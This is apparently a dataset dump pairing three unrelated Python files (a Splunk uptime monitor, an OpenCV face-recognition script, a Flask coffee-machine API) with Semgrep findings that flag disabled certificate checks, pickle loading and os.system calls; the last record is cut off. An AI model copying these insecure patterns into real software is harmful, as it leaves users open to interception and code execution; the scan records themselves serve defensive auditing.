import json import requests import warnings import logging from time import sleep, time from collections import defaultdict warnings.filterwarnings("ignore") with open("config.json", 'r') as f: config = json.load(f) refresh_interval_sec = config['check_interval_sec'] errors = defaultdict(int) def log_splunk(url, name, code, message, downtime): params = { 'time': time(), 'host': 'Monitoring-Service', 'index': 'main', 'source': name.lower().replace(' ', '-'), 'sourcetype': 'json', 'event': { 'url': url, 'name': name, 'code': code, 'message': message, 'downtime_min': int(downtime * refresh_interval_sec / 60) }, } response = requests.post( config['splunk_url'], data=json.dumps(params, sort_keys=True), headers={'Authorization': "Splunk {}".format(config['splunk_token'])}, verify=False ) logging.info(response) def on_error(url, name, code, message): errors[url] += 1 log_splunk(url, name, code, message, errors[url]) def on_success(url, name): if url in errors: del errors[url] log_splunk(url, name, 200, 'success', 0) def routine_check(name, url): try: logging.info("GET: {}".format(url)) response = requests.get(url, verify=False, timeout=3) code = response.status_code if code != 200: logging.warning("GET {} failed - {} - {}".format(url, code, response.text)) on_error(url, name, code, response.text) else: on_success(url, name) logging.info("GET {} succeeded".format(url)) except Exception as ex: on_error(url, name, 500, str(ex)) logging.warning("GET {} failed - {}".format(url, ex)) def routine_checks(): address = config['address'] for subdomain in config['subdomains']: for name, path in config['paths'].items(): check_name = f"{name} in {subdomain} env" url = f"{address.format(subdomain)}{path}" routine_check(check_name, url) if __name__ == '__main__': logging.basicConfig(level=logging.INFO) while True: try: logging.info("Starting routine...") routine_checks() logging.info("Done, going to sleep") except Exception as ex: logging.error("Unexpected error!!! {}".format(ex)) finally: sleep(refresh_interval_sec)
88
23.53
78
15
576
python
[{"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_c30c1df184286e08_94eaec55", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 10, "line_end": 10, "column_start": 6, "column_end": 30, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmp10dxl77l/c30c1df184286e08.py", "start": {"line": 10, "col": 6, "offset": 165}, "end": {"line": 10, "col": 30, "offset": 189}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.requests.best-practice.use-raise-for-status_c30c1df184286e08_3a49e457", "tool_name": "semgrep", "rule_id": "rules.python.requests.best-practice.use-raise-for-status", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "There's an HTTP request made with requests, but the raise_for_status() utility method isn't used. This can result in request errors going unnoticed and your code behaving in unexpected ways, such as if your authorization API returns a 500 error while you're only checking for a 401.", "remediation": "", "location": {"file_path": "unknown", "line_start": 33, "line_end": 38, "column_start": 13, "column_end": 3, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://requests.readthedocs.io/en/master/api/#requests.Response.raise_for_status", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.requests.best-practice.use-raise-for-status", "path": "/tmp/tmp10dxl77l/c30c1df184286e08.py", "start": {"line": 33, "col": 13, "offset": 668}, "end": {"line": 38, "col": 3, "offset": 840}, "extra": {"message": "There's an HTTP request made with requests, but the raise_for_status() utility method isn't used. This can result in request errors going unnoticed and your code behaving in unexpected ways, such as if your authorization API returns a 500 error while you're only checking for a 401.", "metadata": {"references": ["https://requests.readthedocs.io/en/master/api/#requests.Response.raise_for_status"], "category": "best-practice", "technology": ["requests"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.requests.best-practice.use-timeout_c30c1df184286e08_fad652cf", "tool_name": "semgrep", "rule_id": "rules.python.requests.best-practice.use-timeout", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Detected a 'requests' call without a timeout set. By default, 'requests' calls wait until the connection is closed. This means a 'requests' call without a timeout will hang the program if a response is never received. Consider setting a timeout for all 'requests'.", "remediation": "requests.post(\n\t\tconfig['splunk_url'],\n\t\tdata=json.dumps(params, sort_keys=True),\n\t\theaders={'Authorization': \"Splunk {}\".format(config['splunk_token'])},\n\t\tverify=False\n\t, timeout=30)", "location": {"file_path": "unknown", "line_start": 33, "line_end": 38, "column_start": 13, "column_end": 3, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://docs.python-requests.org/en/latest/user/advanced/?highlight=timeout#timeouts", "title": null}, {"url": "https://requests.readthedocs.io/en/latest/user/quickstart/#timeouts", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.requests.best-practice.use-timeout", "path": "/tmp/tmp10dxl77l/c30c1df184286e08.py", "start": {"line": 33, "col": 13, "offset": 668}, "end": {"line": 38, "col": 3, "offset": 840}, "extra": {"message": "Detected a 'requests' call without a timeout set. By default, 'requests' calls wait until the connection is closed. This means a 'requests' call without a timeout will hang the program if a response is never received. Consider setting a timeout for all 'requests'.", "fix": "requests.post(\n\t\tconfig['splunk_url'],\n\t\tdata=json.dumps(params, sort_keys=True),\n\t\theaders={'Authorization': \"Splunk {}\".format(config['splunk_token'])},\n\t\tverify=False\n\t, timeout=30)", "metadata": {"category": "best-practice", "references": ["https://docs.python-requests.org/en/latest/user/advanced/?highlight=timeout#timeouts", "https://requests.readthedocs.io/en/latest/user/quickstart/#timeouts"], "technology": ["requests"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.requests.security.disabled-cert-validation_c30c1df184286e08_09ee0363", "tool_name": "semgrep", "rule_id": "rules.python.requests.security.disabled-cert-validation", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Certificate verification has been explicitly disabled. This permits insecure connections to insecure servers. Re-enable certification validation.", "remediation": "requests.post(\n\t\tconfig['splunk_url'],\n\t\tdata=json.dumps(params, sort_keys=True),\n\t\theaders={'Authorization': \"Splunk {}\".format(config['splunk_token'])},\n\t\tverify=True\n\t)", "location": {"file_path": "unknown", "line_start": 33, "line_end": 38, "column_start": 13, "column_end": 3, "code_snippet": "requires login"}, "cwe_id": "CWE-295: Improper Certificate Validation", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A03:2017 - Sensitive Data Exposure", "references": [{"url": "https://stackoverflow.com/questions/41740361/is-it-safe-to-disable-ssl-certificate-verification-in-pythonss-requests-lib", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.requests.security.disabled-cert-validation", "path": "/tmp/tmp10dxl77l/c30c1df184286e08.py", "start": {"line": 33, "col": 13, "offset": 668}, "end": {"line": 38, "col": 3, "offset": 840}, "extra": {"message": "Certificate verification has been explicitly disabled. This permits insecure connections to insecure servers. Re-enable certification validation.", "fix": "requests.post(\n\t\tconfig['splunk_url'],\n\t\tdata=json.dumps(params, sort_keys=True),\n\t\theaders={'Authorization': \"Splunk {}\".format(config['splunk_token'])},\n\t\tverify=True\n\t)", "metadata": {"cwe": ["CWE-295: Improper Certificate Validation"], "owasp": ["A03:2017 - Sensitive Data Exposure", "A07:2021 - Identification and Authentication Failures", "A07:2025 - Authentication Failures"], "references": ["https://stackoverflow.com/questions/41740361/is-it-safe-to-disable-ssl-certificate-verification-in-pythonss-requests-lib"], "category": "security", "technology": ["requests"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "LOW", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.requests.best-practice.use-raise-for-status_c30c1df184286e08_0cf5b5f8", "tool_name": "semgrep", "rule_id": "rules.python.requests.best-practice.use-raise-for-status", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "There's an HTTP request made with requests, but the raise_for_status() utility method isn't used. This can result in request errors going unnoticed and your code behaving in unexpected ways, such as if your authorization API returns a 500 error while you're only checking for a 401.", "remediation": "", "location": {"file_path": "unknown", "line_start": 56, "line_end": 56, "column_start": 14, "column_end": 56, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://requests.readthedocs.io/en/master/api/#requests.Response.raise_for_status", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.requests.best-practice.use-raise-for-status", "path": "/tmp/tmp10dxl77l/c30c1df184286e08.py", "start": {"line": 56, "col": 14, "offset": 1173}, "end": {"line": 56, "col": 56, "offset": 1215}, "extra": {"message": "There's an HTTP request made with requests, but the raise_for_status() utility method isn't used. This can result in request errors going unnoticed and your code behaving in unexpected ways, such as if your authorization API returns a 500 error while you're only checking for a 401.", "metadata": {"references": ["https://requests.readthedocs.io/en/master/api/#requests.Response.raise_for_status"], "category": "best-practice", "technology": ["requests"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.requests.security.disabled-cert-validation_c30c1df184286e08_209ce5da", "tool_name": "semgrep", "rule_id": "rules.python.requests.security.disabled-cert-validation", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Certificate verification has been explicitly disabled. This permits insecure connections to insecure servers. Re-enable certification validation.", "remediation": "requests.get(url, verify=True, timeout=3)", "location": {"file_path": "unknown", "line_start": 56, "line_end": 56, "column_start": 14, "column_end": 56, "code_snippet": "requires login"}, "cwe_id": "CWE-295: Improper Certificate Validation", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A03:2017 - Sensitive Data Exposure", "references": [{"url": "https://stackoverflow.com/questions/41740361/is-it-safe-to-disable-ssl-certificate-verification-in-pythonss-requests-lib", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.requests.security.disabled-cert-validation", "path": "/tmp/tmp10dxl77l/c30c1df184286e08.py", "start": {"line": 56, "col": 14, "offset": 1173}, "end": {"line": 56, "col": 56, "offset": 1215}, "extra": {"message": "Certificate verification has been explicitly disabled. This permits insecure connections to insecure servers. Re-enable certification validation.", "fix": "requests.get(url, verify=True, timeout=3)", "metadata": {"cwe": ["CWE-295: Improper Certificate Validation"], "owasp": ["A03:2017 - Sensitive Data Exposure", "A07:2021 - Identification and Authentication Failures", "A07:2025 - Authentication Failures"], "references": ["https://stackoverflow.com/questions/41740361/is-it-safe-to-disable-ssl-certificate-verification-in-pythonss-requests-lib"], "category": "security", "technology": ["requests"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "LOW", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
6
true
[ "CWE-295", "CWE-295" ]
[ "rules.python.requests.security.disabled-cert-validation", "rules.python.requests.security.disabled-cert-validation" ]
[ "security", "security" ]
[ "LOW", "LOW" ]
[ "HIGH", "HIGH" ]
[ 33, 56 ]
[ 38, 56 ]
[ 13, 14 ]
[ 3, 56 ]
[ "A03:2017 - Sensitive Data Exposure", "A03:2017 - Sensitive Data Exposure" ]
[ "Certificate verification has been explicitly disabled. This permits insecure connections to insecure servers. Re-enable certification validation.", "Certificate verification has been explicitly disabled. This permits insecure connections to insecure servers. Re-enable certification validation." ]
[ 7.5, 7.5 ]
[ "LOW", "LOW" ]
[ "LOW", "LOW" ]
monitor_worker.py
/monitor_worker.py
ReallyLiri/resource-monitor-splunk
MIT
2024-11-18T22:36:31.945648+00:00
1,621,742,138,000
591a06b00938a94e0f00ffdb7ef59dc4fff7aac4
2
{ "blob_id": "591a06b00938a94e0f00ffdb7ef59dc4fff7aac4", "branch_name": "refs/heads/main", "committer_date": 1621742138000, "content_id": "ce38f81564038d7e67f2b36681281e7a388b2a71", "detected_licenses": [ "MIT" ], "directory_id": "27faf55185c4c70fcb6bc046b0ed15835be7c936", "extension": "py", "filename": "fr_video.py", "fork_events_count": 2, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": 357199540, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5176, "license": "MIT", "license_type": "permissive", "path": "/fr_video.py", "provenance": "stack-edu-0054.json.gz:587363", "repo_name": "datamonday/FR-AttSys", "revision_date": 1621742138000, "revision_id": "6fb34fea8515cd7612cce92beb2048c4c1e83a93", "snapshot_id": "cde97765decfa4d3ea7044013ef5f57ee622af5e", "src_encoding": "UTF-8", "star_events_count": 5, "url": "https://raw.githubusercontent.com/datamonday/FR-AttSys/6fb34fea8515cd7612cce92beb2048c4c1e83a93/fr_video.py", "visit_date": "2023-04-29T00:10:44.872428" }
2.40625
stackv2
import cv2 import os import pickle import imutils import numpy as np import time # IU - Concert Live Clip 2018 Tour.mp4 video_path = "D:/Github/FR-AttSys/test_video/[IU] Meaning Of You 190428.mp4" detector_path = "./face_detection_model" # OpenCV深度学习面部嵌入模型的路径 embedding_model = "./face_detection_model/openface_nn4.small2.v1.t7" # 训练模型以识别面部的路径 recognizer_path = "./saved_weights/recognizer.pickle" # 标签编码器的路径 le_path = "./saved_weights/le.pickle" faces = ["iu", "pch", "chopin"] COLORS = np.random.uniform(0, 255, size=(len(faces), 3)) def face_recognition(video_path): cap = cv2.VideoCapture(video_path) # 置信度 confidence_default = 0.5 # 从磁盘加载序列化面部检测器 proto_path = os.path.sep.join([detector_path, "deploy.prototxt"]) model_path = os.path.sep.join([detector_path, "res10_300x300_ssd_iter_140000.caffemodel"]) detector = cv2.dnn.readNetFromCaffe(proto_path, model_path) # 从磁盘加载序列化面嵌入模型 try: embedded = cv2.dnn.readNetFromTorch(embedding_model) except IOError: print("面部嵌入模型的路径不正确!") # 加载实际的人脸识别模型和标签 try: recognizer = pickle.loads(open(recognizer_path, "rb").read()) le = pickle.loads(open(le_path, "rb").read()) except IOError: print("人脸识别模型保存路径不正确!") # 实时计算FPS # 用来记录处理最后一帧的时间 prev_frame_time = 0 # 循环来自视频文件流的帧 print("Starting Face Recognition...") while cap.isOpened(): # 从线程视频流中抓取帧 ret, frame = cap.read() if ret: # 调整框架的大小以使其宽度为900像素(同时保持纵横比),然后抓取图像尺寸 frame = imutils.resize(frame, width=800) (h, w) = frame.shape[:2] # 从图像构造一个blob image_blob = cv2.dnn.blobFromImage(cv2.resize(frame, (300, 300)), 1.0, (300, 300), (104.0, 177.0, 123.0), swapRB=False, crop=False) # 应用OpenCV的基于深度学习的人脸检测器来定位输入图像中的人脸 detector.setInput(image_blob) detections = detector.forward() # 保存识别到的人脸 face_names = [] # 完成此帧处理的时间 new_frame_time = time.time() denominator = new_frame_time - prev_frame_time if denominator <= 0: fps = 60 else: fps = 1.0 / (denominator) prev_frame_time = new_frame_time # converting the fps into integer fps = int(fps) if fps <= 0: fps = 0 # str: putText function # fps_str = "FPS: %.2f" % fps fps_str = str(fps) # 循环检测 for i in range(0, detections.shape[2]): # 提取与预测相关的置信度(即概率) confidence = detections[0, 0, i, 2] # 过滤弱检测 if confidence > confidence_default: # 计算面部边界框的(x,y)坐标 box = detections[0, 0, i, 3:7] * np.array([w, h, w, h]) (startX, startY, endX, endY) = box.astype("int") # 提取面部ROI face = frame[startY:endY, startX:endX] (fH, fW) = face.shape[:2] # 确保面部宽度和高度足够大 if fW < 20 or fH < 20: continue # 为面部ROI构造一个blob,然后通过我们的面部嵌入模型传递blob以获得面部的128-d量化 face_blob = cv2.dnn.blobFromImage(face, 1.0 / 255, (96, 96), (0, 0, 0), swapRB=True, crop=False) embedded.setInput(face_blob) vec = embedded.forward() # 执行分类识别面部 predicts = recognizer.predict_proba(vec)[0] j = np.argmax(predicts) probability = predicts[j] name = le.classes_[j] # 绘制面部的边界框以及相关的概率 text = "{}: {:.2f}%".format(name, probability * 100) y = startY - 10 if startY - 10 > 10 else startY + 10 cv2.rectangle(frame, (startX, startY), (endX, endY), COLORS[j], 1) frame = cv2.putText(frame, text, (startX, y), cv2.FONT_HERSHEY_SIMPLEX, 0.60, COLORS[j], 1) face_names.append(name) cv2.putText(frame, f"FPS:{fps_str}", (20, 20), cv2.FONT_HERSHEY_DUPLEX, 0.8, (0, 255, 0), 2) cv2.imshow("Face Recognition on Video", frame) if cv2.waitKey(1) & 0xFF == ord('q'): break cap.release() cv2.destroyAllWindows() if __name__ == "__main__": face_recognition(video_path)
132
33.18
116
18
1,347
python
[{"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_44be3a828bcafd7a_c9c65676", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 40, "line_end": 40, "column_start": 22, "column_end": 70, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmp10dxl77l/44be3a828bcafd7a.py", "start": {"line": 40, "col": 22, "offset": 1274}, "end": {"line": 40, "col": 70, "offset": 1322}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_44be3a828bcafd7a_12374b00", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 41, "line_end": 41, "column_start": 14, "column_end": 54, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmp10dxl77l/44be3a828bcafd7a.py", "start": {"line": 41, "col": 14, "offset": 1336}, "end": {"line": 41, "col": 54, "offset": 1376}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
2
true
[ "CWE-502", "CWE-502" ]
[ "rules.python.lang.security.deserialization.avoid-pickle", "rules.python.lang.security.deserialization.avoid-pickle" ]
[ "security", "security" ]
[ "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM" ]
[ 40, 41 ]
[ 40, 41 ]
[ 22, 14 ]
[ 70, 54 ]
[ "A08:2017 - Insecure Deserialization", "A08:2017 - Insecure Deserialization" ]
[ "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "Avoid using `pickle`, which is known to lead to...
[ 5, 5 ]
[ "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM" ]
fr_video.py
/fr_video.py
datamonday/FR-AttSys
MIT
2024-11-18T22:36:32.495403+00:00
1,524,563,958,000
3b9c2355b8138c6a5859786920a257e773196a64
3
{ "blob_id": "3b9c2355b8138c6a5859786920a257e773196a64", "branch_name": "refs/heads/master", "committer_date": 1524563958000, "content_id": "7427e88245ecc461bc39cb326e2553db81f308f9", "detected_licenses": [ "Apache-2.0" ], "directory_id": "1ea299bf5e6c6ffb15b893cebc1f7121218422b2", "extension": "py", "filename": "app.py", "fork_events_count": 1, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": 125361624, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 828, "license": "Apache-2.0", "license_type": "permissive", "path": "/app.py", "provenance": "stack-edu-0054.json.gz:587370", "repo_name": "Sarlianth/smarter-voice-control", "revision_date": 1524563958000, "revision_id": "288b487511a7e0f9bed196f9a19a418bee556512", "snapshot_id": "8907f916aa808893c999347f176b33100953a200", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/Sarlianth/smarter-voice-control/288b487511a7e0f9bed196f9a19a418bee556512/app.py", "visit_date": "2021-04-09T10:57:37.591514" }
2.9375
stackv2
#!flask/bin/python from flask import Flask import os app = Flask(__name__) @app.route('/') def index(): return "Hello, World!" @app.route('/api/brew/<int:cups>', methods=['GET']) def brew_coffee(cups): #print(cups) if (cups >= 1 and cups <= 12): cmd = "start cmd /c python smarter.py brew " + str(cups) returned_value = os.system(cmd) # returns the exit code in unix print(returned_value) #os.system(arg) return ("Brewing ") + str(cups) + (" cup[s] of coffee") else: return ("Please select number of cups 1-12..") @app.route('/api/reset/', methods=['GET']) def reset_coffee(): cmd = "start cmd /c python smarter.py reset" returned_value = os.system(cmd) # returns the exit code in unix print(returned_value) return ("Default settings applied") if __name__ == '__main__': app.run(debug=True)
31
25.74
66
12
232
python
[{"finding_id": "semgrep_rules.python.flask.security.injection.os-system-injection_d65d604f6e1bbef7_2d20c284", "tool_name": "semgrep", "rule_id": "rules.python.flask.security.injection.os-system-injection", "finding_type": "security", "severity": "high", "confidence": "medium", "message": "User data detected in os.system. This could be vulnerable to a command injection and should be avoided. If this must be done, use the 'subprocess' module instead and pass the arguments as a list.", "remediation": "", "location": {"file_path": "unknown", "line_start": 16, "line_end": 16, "column_start": 20, "column_end": 34, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://owasp.org/www-community/attacks/Command_Injection", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.flask.security.injection.os-system-injection", "path": "/tmp/tmp10dxl77l/d65d604f6e1bbef7.py", "start": {"line": 16, "col": 20, "offset": 334}, "end": {"line": 16, "col": 34, "offset": 348}, "extra": {"message": "User data detected in os.system. This could be vulnerable to a command injection and should be avoided. If this must be done, use the 'subprocess' module instead and pass the arguments as a list.", "metadata": {"cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://owasp.org/www-community/attacks/Command_Injection"], "category": "security", "technology": ["flask"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "MEDIUM", "impact": "HIGH", "confidence": "MEDIUM"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-audit_d65d604f6e1bbef7_eb6a913c", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 16, "line_end": 16, "column_start": 20, "column_end": 34, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "path": "/tmp/tmp10dxl77l/d65d604f6e1bbef7.py", "start": {"line": 16, "col": 20, "offset": 334}, "end": {"line": 16, "col": 34, "offset": 348}, "extra": {"message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.dangerous-system-call_d65d604f6e1bbef7_14f644a8", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.dangerous-system-call", "finding_type": "security", "severity": "high", "confidence": "medium", "message": "Found user-controlled data used in a system call. This could allow a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 16, "line_end": 16, "column_start": 20, "column_end": 34, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.dangerous-system-call", "path": "/tmp/tmp10dxl77l/d65d604f6e1bbef7.py", "start": {"line": 16, "col": 20, "offset": 334}, "end": {"line": 16, "col": 34, "offset": 348}, "extra": {"message": "Found user-controlled data used in a system call. This could allow a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "MEDIUM", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["vuln"], "likelihood": "HIGH", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": 